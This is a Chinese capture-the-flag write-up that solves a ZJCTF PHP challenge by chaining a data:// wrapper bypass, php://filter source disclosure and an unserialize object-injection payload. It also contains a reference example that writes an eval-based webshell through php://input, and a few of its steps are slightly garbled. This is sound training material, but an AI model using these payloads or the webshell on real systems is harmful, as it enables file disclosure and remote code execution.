打开环境,直接给出源码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
分析源码,需要GET方式传入三个参数,text,file,password。必须满足第一个if,$text存在且用file_get_conts函数打开为
welcome to the zjctf(
file_get_contents() 把整个文件读入一个字符串中
),
如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功
此处绕过可以用date协议:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
data:// 协议
-
条件 :
-
allow_url_fopen :on
-
allow_url_include :on
-
-
作用 :自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
-
用法 :data: // text/plain,data: // text/plain;base64,
-
示例 :
-
data://text/plain,http: //127.0.0.1/include.php?file= data://text/plain , <?php %20phpinfo(); ?>
-
data://text/plain;base64,http :// 127.0.0.1 /include.php?file=data://text/plain;base 64 ,PD 9 waHAgcGhwaW 5 mbygpOz 8 % 2 b
-
页面显示了welcome to the zjctf,说明成功了,在往下看(也可以用php//:input,但需要bp post传值,不能用hackbar,
因为在 post 中没有设置变量不能访问,所以用bp抓包)。
用正则方式过滤了flag,file中不能有flag,
提示了有一个
useless.php
,想到之前说的PHP伪协议中的
php://filter
读取文件:
构造:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&php://filter/read=convert.base64-encode/resource=useless.php
php:// 协议
协议
|
作用
|
php://input
|
可以访问请求的原始数据的只读流,在POST请求中访问POST的
data
部分,在
enctype="multipart/form-data"
的时候
php://input
是无效的。
|
php://output
|
只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
|
php://fd
|
(>=5.3.6)允许直接访问指定的文件描述符。例如
php://fd/3
引用了文件描述符 3。
|
php://memory
php://temp
|
(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是
php://memory
总是把数据储存在内存中,而
php://temp
会在内存量达到预定义的限制后(默认是
2MB
)存入临时文件中。临时文件位置的决定和
sys_get_temp_dir()
的方式一致。
|
php://filter
|
(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式
(all-in-one)
的文件函数非常有用,类似
readfile()
、
file()
和
file_get_contents()
,在数据流内容读取之前没有机会应用其他过滤器。
|
php://filter
参数
|
描述
|
|
resource=<要过滤的数据流>
|
必须项。它指定了你要筛选过滤的数据流。
|
|
read=<读链的过滤器>
|
可选项。可以设定一个或多个过滤器名称,以管道符(*\
|
*)分隔。
|
write=<写链的过滤器>
|
可选项。可以设定一个或多个过滤器名称,以管道符(\
|
)分隔。
|
<; 两个链的过滤器>
|
任何没有以
read=
或
write=
作前缀的筛选器列表会视情况应用于读或写链。
|
|
字符串过滤器
|
作用
|
string.rot13
|
等同于
str_rot13()
,rot13变换
|
string.toupper
|
等同于
strtoupper()
,转大写字母
|
string.tolower
|
等同于
strtolower()
,转小写字母
|
string.strip_tags
|
等同于
strip_tags()
,去除html、PHP语言标签
|
转换过滤器
|
作用
|
convert.base64-encode & convert.base64-decode
|
等同于
base64_encode()
和
base64_decode()
,base64编码解码
|
convert.quoted-printable-encode & convert.quoted-printable-decode
|
quoted-printable 字符串与 8-bit 字符串编码解码
|
压缩过滤器
|
作用
|
zlib.deflate & zlib.inflate
|
在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
|
bzip2.compress
& bzip2.decompress
|
同上,在本地文件系统中创建 bz2 兼容文件的方法。
|
加密过滤器
|
作用
|
mcrypt.*
|
libmcrypt 对称加密算法
|
mdecrypt.*
|
libmcrypt 对称解密算法
|
-
条件 :
-
allow_url_fopen :off/on
-
allow_url_include :仅 php://input php://stdin php://memory php://temp 需要on
-
-
作用 :php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input , php://filter 用于 读取源码 , php://input 用于 执行php代码 。
-
说明 :PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
-
php://filter 参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
-
可用的过滤器列表(4类)此处列举主要的过滤器类型
-
示例 :
-
php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码(针对php文件需要base64编码)http :// 127.0 .0 .1 / include .php? file =php:// filter / read = convert .base64-encode/resource=phpinfo.php
-
php://input + [POST DATA] 执行php代码http: //127.0.0.1/include.php?file=php://input[POST DATA部分]<?php phpinfo(); ?>若有写入权限,写入一句话木马http: //127.0.0.1/include.php?file=php://input[POST DATA部分]<?php fputs(fopen( '1juhua.php' , 'w' ), '<?php @eval($_GET[cmd]); ?>' ); ?>
-
得到base64的代码:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码得:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
结合前面源码,将flag调用,然后给里面file值赋值为flag.php。
序列化后传入password,应该就会出flag。
将Flag类序列化
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
$a->file="flag.php";
echo serialize($a);
得到序列化字符串:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=
php://filter/read=convert.base64-encode/resource=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。
最后为:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在源码中就能看到答案。